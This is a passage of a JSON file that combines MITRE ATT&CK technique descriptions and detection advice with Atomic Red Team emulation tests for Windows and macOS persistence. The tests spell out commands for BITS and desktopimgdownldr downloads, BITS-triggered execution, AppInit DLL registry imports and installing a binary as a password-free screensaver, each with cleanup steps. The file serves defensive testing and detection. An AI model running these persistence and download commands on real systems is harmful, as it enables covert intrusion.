). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\program files\\myapp.exe
, an adversary may create a program at C:\\program.exe
that will be run instead of the intended program. (Citation: SecurityBoulevard Unquoted Services APR 2018) (Citation: SploitSpren Windows Priv Jan 2018)\n\n### PATH Environment Variable Misconfiguration\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\\system32
(e.g., C:\\Windows\\system32
), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if C:\\example path
precedes C:\\Windows\\system32
is in the PATH environment variable, a program that is named net.exe and placed in C:\\example path
will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.\n\n### Search Order Hijacking\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument net user
. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then cmd.exe /C net user
will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. \n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
- "x_mitre_deprecated": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User",
- "Administrator",
- "SYSTEM"
- ],
- "x_mitre_effective_permissions": [
- "User",
- "Administrator",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1037.003": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--c63a348e-ffc2-486a-b9d9-d7f11ec54d99",
- "type": "attack-pattern",
- "created": "2020-01-10T18:01:03.666Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1037.003",
- "url": "https://attack.mitre.org/techniques/T1037/003"
- },
- {
- "source_name": "Petri Logon Script AD",
- "url": "https://www.petri.com/setting-up-logon-script-through-active-directory-users-computers-windows-server-2008",
- "description": "Daniel Petri. (2009, January 8). Setting up a Logon Script through Active Directory Users and Computers in Windows Server 2008. Retrieved November 15, 2019."
- }
- ],
- "modified": "2020-03-24T23:45:25.625Z",
- "name": "Network Logon Script",
- "description": "Adversaries may use network logon scripts automatically executed at logon initialization to establish persistence. Network logon scripts can be assigned using Active Directory or Group Policy Objects.(Citation: Petri Logon Script AD) These logon scripts run with the privileges of the user they are assigned to. Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems. \n \nAdversaries may use these scripts to maintain persistence on a network. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Command: Command Execution",
- "File: File Modification",
- "Active Directory: Active Directory Object Modification",
- "File: File Creation"
- ]
- },
- "atomic_tests": []
- },
- "T1197": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Brent Murphy, Elastic",
- "David French, Elastic",
- "Ricardo Dias",
- "Red Canary"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7",
- "type": "attack-pattern",
- "created": "2018-04-18T17:59:24.739Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1197",
- "url": "https://attack.mitre.org/techniques/T1197"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx",
- "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.",
- "source_name": "Microsoft COM"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx",
- "description": "Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018.",
- "source_name": "Microsoft BITS"
- },
- {
- "url": "https://msdn.microsoft.com/library/aa362813.aspx",
- "description": "Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.",
- "source_name": "Microsoft BITSAdmin"
- },
- {
- "url": "https://www.secureworks.com/blog/malware-lingers-with-bits",
- "description": "Counter Threat Unit Research Team. (2016, June 6). Malware Lingers with BITS. Retrieved January 12, 2018.",
- "source_name": "CTU BITS Malware June 2016"
- },
- {
- "url": "https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/",
- "description": "Mondok, M. (2007, May 11). Malware piggybacks on Windows\u2019 Background Intelligent Transfer Service. Retrieved January 12, 2018.",
- "source_name": "Mondok Windows PiggyBack BITS May 2007"
- },
- {
- "url": "https://www.symantec.com/connect/blogs/malware-update-windows-update",
- "description": "Florio, E. (2007, May 9). Malware Update with Windows Update. Retrieved January 12, 2018.",
- "source_name": "Symantec BITS May 2007"
- },
- {
- "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/",
- "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.",
- "source_name": "PaloAlto UBoatRAT Nov 2017"
- },
- {
- "url": "https://technet.microsoft.com/library/dd939934.aspx",
- "description": "Microsoft. (2011, July 19). Issues with BITS. Retrieved January 12, 2018.",
- "source_name": "Microsoft Issues with BITS July 2011"
- },
- {
- "source_name": "Elastic - Hunting for Persistence Part 1",
- "url": "https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1",
- "description": "French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020."
- }
- ],
- "modified": "2021-04-13T21:36:04.956Z",
- "name": "BITS Jobs",
- "description": "Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.\n\nThe interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin)\n\nAdversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)\n\nBITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malware June 2016)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "BITS runs as a service and its status can be checked with the Sc query utility (sc query bits
).(Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (bitsadmin /list /allusers /verbose
).(Citation: Microsoft BITS)\n\nMonitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the \u2018Transfer\u2019, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options)(Citation: Microsoft BITS) Admin logs, PowerShell logs, and the Windows Event log for BITS activity.(Citation: Elastic - Hunting for Persistence Part 1) Also consider investigating more detailed information about jobs by parsing the BITS job database.(Citation: CTU BITS Malware June 2016)\n\nMonitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account).(Citation: Microsoft BITS)",
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Network Traffic: Network Connection Creation",
- "Command: Command Execution",
- "Service: Service Metadata"
- ],
- "x_mitre_defense_bypassed": [
- "Firewall",
- "Host forensic analysis"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator",
- "SYSTEM"
- ],
- "identifier": "T1197"
- },
- "atomic_tests": [
- {
- "name": "Bitsadmin Download (cmd)",
- "auto_generated_guid": "3c73d728-75fb-4180-a12f-6712864d7421",
- "description": "This test simulates an adversary leveraging bitsadmin.exe to download\nand execute a payload\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "remote_file": {
- "description": "Remote file to download",
- "type": "url",
- "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md"
- },
- "local_file": {
- "description": "Local file path to save downloaded file",
- "type": "path",
- "default": "%temp%\\bitsadmin1_flag.ps1"
- }
- },
- "executor": {
- "command": "bitsadmin.exe /transfer /Download /priority Foreground #{remote_file} #{local_file}\n",
- "cleanup_command": "del #{local_file} >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Bitsadmin Download (PowerShell)",
- "auto_generated_guid": "f63b8bc4-07e5-4112-acba-56f646f3f0bc",
- "description": "This test simulates an adversary leveraging bitsadmin.exe to download\nand execute a payload leveraging PowerShell\n\nUpon execution you will find a github markdown file downloaded to the Temp directory\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "remote_file": {
- "description": "Remote file to download",
- "type": "url",
- "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md"
- },
- "local_file": {
- "description": "Local file path to save downloaded file",
- "type": "path",
- "default": "$env:TEMP\\bitsadmin2_flag.ps1"
- }
- },
- "executor": {
- "command": "Start-BitsTransfer -Priority foreground -Source #{remote_file} -Destination #{local_file}\n",
- "cleanup_command": "Remove-Item #{local_file} -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "Persist, Download, & Execute",
- "auto_generated_guid": "62a06ec5-5754-47d2-bcfc-123d8314c6ae",
- "description": "This test simulates an adversary leveraging bitsadmin.exe to schedule a BITS transferand execute a payload in multiple steps.\nNote that in this test, the file executed is not the one downloaded. The downloading of a random file is simply the trigger for getting bitsdamin to run an executable.\nThis has the interesting side effect of causing the executable (e.g. notepad) to run with an Initiating Process of \"svchost.exe\" and an Initiating Process Command Line of \"svchost.exe -k netsvcs -p -s BITS\"\nThis job will remain in the BITS queue until complete or for up to 90 days by default if not removed.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "command_path": {
- "description": "Path of command to execute",
- "type": "path",
- "default": "C:\\Windows\\system32\\notepad.exe"
- },
- "bits_job_name": {
- "description": "Name of BITS job",
- "type": "string",
- "default": "AtomicBITS"
- },
- "local_file": {
- "description": "Local file path to save downloaded file",
- "type": "path",
- "default": "%temp%\\bitsadmin3_flag.ps1"
- },
- "remote_file": {
- "description": "Remote file to download",
- "type": "url",
- "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md"
- }
- },
- "executor": {
- "command": "bitsadmin.exe /create #{bits_job_name}\nbitsadmin.exe /addfile #{bits_job_name} #{remote_file} #{local_file}\nbitsadmin.exe /setnotifycmdline #{bits_job_name} #{command_path} NULL\nbitsadmin.exe /resume #{bits_job_name}\nping -n 5 127.0.0.1 >nul 2>&1\nbitsadmin.exe /complete #{bits_job_name}\n",
- "cleanup_command": "del #{local_file} >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Bits download using desktopimgdownldr.exe (cmd)",
- "auto_generated_guid": "afb5e09e-e385-4dee-9a94-6ee60979d114",
- "description": "This test simulates using desktopimgdownldr.exe to download a malicious file\ninstead of a desktop or lockscreen background img. The process that actually makes \nthe TCP connection and creates the file on the disk is a svchost process (\u201c-k netsvc -p -s BITS\u201d) \nand not desktopimgdownldr.exe. See https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "remote_file": {
- "description": "Remote file to download",
- "type": "url",
- "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md"
- },
- "download_path": {
- "description": "Local file path to save downloaded file",
- "type": "path",
- "default": "SYSTEMROOT=C:\\Windows\\Temp"
- },
- "cleanup_path": {
- "description": "path to delete file as part of cleanup_command",
- "type": "path",
- "default": "C:\\Windows\\Temp\\Personalization\\LockScreenImage"
- },
- "cleanup_file": {
- "description": "file to remove as part of cleanup_command",
- "type": "string",
- "default": "*.md"
- }
- },
- "executor": {
- "command": "set \"#{download_path}\" && cmd /c desktopimgdownldr.exe /lockscreenurl:#{remote_file} /eventName:desktopimgdownldr\n",
- "cleanup_command": "del #{cleanup_path}\\#{cleanup_file} >nul 2>&1\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1546.010": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd",
- "type": "attack-pattern",
- "created": "2020-01-24T14:52:25.589Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1546.010",
- "url": "https://attack.mitre.org/techniques/T1546/010"
- },
- {
- "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
- "source_name": "Elastic Process Injection July 2017"
- },
- {
- "url": "https://support.microsoft.com/en-us/kb/197571",
- "description": "Microsoft. (2006, October). Working with the AppInit_DLLs registry value. Retrieved July 15, 2015.",
- "source_name": "AppInit Registry"
- },
- {
- "url": "https://msdn.microsoft.com/en-us/library/dn280412",
- "description": "Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July 15, 2015.",
- "source_name": "AppInit Secure Boot"
- },
- {
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
- "source_name": "TechNet Autoruns"
- }
- ],
- "modified": "2020-11-10T18:29:31.076Z",
- "name": "Event Triggered Execution: AppInit DLLs",
- "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs
value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows
or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows
are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017)\n\nSimilar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity. \n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx
and RegSetValueEx
. (Citation: Elastic Process Injection July 2017)\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Windows Registry: Windows Registry Key Modification",
- "Command: Command Execution",
- "Process: Process Creation",
- "Module: Module Load",
- "Process: OS API Execution"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ],
- "x_mitre_system_requirements": [
- "Secure boot disabled on systems running Windows 8 and later"
- ],
- "x_mitre_effective_permissions": [
- "Administrator",
- "SYSTEM"
- ],
- "identifier": "T1546.010"
- },
- "atomic_tests": [
- {
- "name": "Install AppInit Shim",
- "auto_generated_guid": "a58d9386-3080-4242-ab5f-454c16503d18",
- "description": "AppInit_DLLs is a mechanism that allows an arbitrary list of DLLs to be loaded into each user mode process on the system. Upon succesfully execution, \nyou will see the message \"The operation completed successfully.\" Each time the DLL is loaded, you will see a message box with a message of \"Install AppInit Shim DLL was called!\" appear.\nThis will happen regularly as your computer starts up various applications and may in fact drive you crazy. A reliable way to make the message box appear and verify the \nAppInit Dlls are loading is to start the notepad application. Be sure to run the cleanup commands afterwards so you don't keep getting message boxes showing up.\n\nNote: If secure boot is enabled, this technique will not work. https://docs.microsoft.com/en-us/windows/win32/dlls/secure-boot-and-appinit-dlls\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "registry_file": {
- "description": "Windows Registry File",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1546.010\\src\\T1546.010.reg"
- },
- "registry_cleanup_file": {
- "description": "Windows Registry File",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1546.010\\src\\T1546.010-cleanup.reg"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Reg files must exist on disk at specified locations (#{registry_file} and #{registry_cleanup_file})\n",
- "prereq_command": "if ((Test-Path #{registry_file}) -and (Test-Path #{registry_cleanup_file})) {exit 0} else {exit 1}\n",
- "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -Type Directory (split-path #{registry_file}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/src/T1546.010.reg\" -OutFile \"#{registry_file}\"\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/src/T1546.010-cleanup.reg\" -OutFile \"#{registry_cleanup_file}\"\n"
- },
- {
- "description": "DLL's must exist in the C:\\Tools directory (T1546.010.dll and T1546.010x86.dll)\n",
- "prereq_command": "if ((Test-Path c:\\Tools\\T1546.010.dll) -and (Test-Path c:\\Tools\\T1546.010x86.dll)) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory C:\\Tools -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/bin/T1546.010.dll\" -OutFile C:\\Tools\\T1546.010.dll\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/bin/T1546.010x86.dll\" -OutFile C:\\Tools\\T1546.010x86.dll\n"
- }
- ],
- "executor": {
- "command": "reg.exe import #{registry_file}\n",
- "cleanup_command": "reg.exe import #{registry_cleanup_file} >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1546.002": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Bartosz Jerzman"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf",
- "created": "2020-01-24T13:51:01.210Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1546.002",
- "url": "https://attack.mitre.org/techniques/T1546/002"
- },
- {
- "source_name": "ESET Gazer Aug 2017",
- "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf",
- "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017."
- },
- {
- "source_name": "Wikipedia Screensaver",
- "url": "https://en.wikipedia.org/wiki/Screensaver",
- "description": "Wikipedia. (2017, November 22). Screensaver. Retrieved December 5, 2017."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\\Windows\\System32\\
, and C:\\Windows\\sysWOW64\\
on 64-bit Windows systems, along with screensavers included with base Windows installations.\n\nThe following screensaver settings are stored in the Registry (HKCU\\Control Panel\\Desktop\\
) and could be manipulated to achieve persistence:\n\n* SCRNSAVE.exe
- set to malicious PE path\n* ScreenSaveActive
- set to '1' to enable the screensaver\n* ScreenSaverIsSecure
- set to '0' to not require a password to unlock\n* ScreenSaveTimeout
- sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017)",
- "modified": "2022-04-20T16:58:48.140Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Event Triggered Execution: Screensaver",
- "x_mitre_detection": "Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.\n\nTools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Windows Registry: Windows Registry Key Modification",
- "Command: Command Execution",
- "File: File Modification",
- "File: File Creation",
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1546.002"
- },
- "atomic_tests": [
- {
- "name": "Set Arbitrary Binary as Screensaver",
- "auto_generated_guid": "281201e7-de41-4dc9-b73d-f288938cbb64",
- "description": "This test copies a binary into the Windows System32 folder and sets it as the screensaver so it will execute for persistence. Requires a reboot and logon.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "input_binary": {
- "description": "Executable binary to use in place of screensaver for persistence",
- "type": "path",
- "default": "C:\\Windows\\System32\\cmd.exe"
- },
- "reboot": {
- "description": "Set to non-zero value if you want the test to reboot the system so that changes take effect",
- "type": "integer",
- "default": 0
- }
- },
- "executor": {
- "command": "reg export \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" %userprofile%\\backup.reg\ncopy #{input_binary} \"%SystemRoot%\\System32\\evilscreensaver.scr\"\nreg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v ScreenSaveActive /t REG_SZ /d 1 /f\nreg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v ScreenSaveTimeout /t REG_SZ /d 60 /f\nreg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f\nreg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v SCRNSAVE.EXE /t REG_SZ /d \"%SystemRoot%\\System32\\evilscreensaver.scr\" /f\nif #{reboot} NEQ 0 shutdown /r /t 0\n",
- "cleanup_command": "reg import %userprofile%\\backup.reg\ndel %userprofile%\\backup.reg\ndel %SystemRoot%\\System32\\evilscreensaver.scr\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1543.001": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Antonio Piazza, @antman1p"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584",
- "created": "2020-01-17T16:10:58.592Z",
- "x_mitre_version": "1.4",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1543.001",
- "url": "https://attack.mitre.org/techniques/T1543/001"
- },
- {
- "source_name": "AppleDocs Launch Agent Daemons",
- "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html",
- "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017."
- },
- {
- "source_name": "Sofacy Komplex Trojan",
- "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/",
- "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017."
- },
- {
- "source_name": "OceanLotus for OS X",
- "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update",
- "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017."
- },
- {
- "source_name": "OSX Keydnap malware",
- "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/",
- "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017."
- },
- {
- "source_name": "Methods of Mac Malware Persistence",
- "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017."
- },
- {
- "source_name": "OSX Malware Detection",
- "url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf",
- "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017."
- },
- {
- "source_name": "Antiquated Mac Malware",
- "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/",
- "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017."
- },
- {
- "source_name": "OSX.Dok Malware",
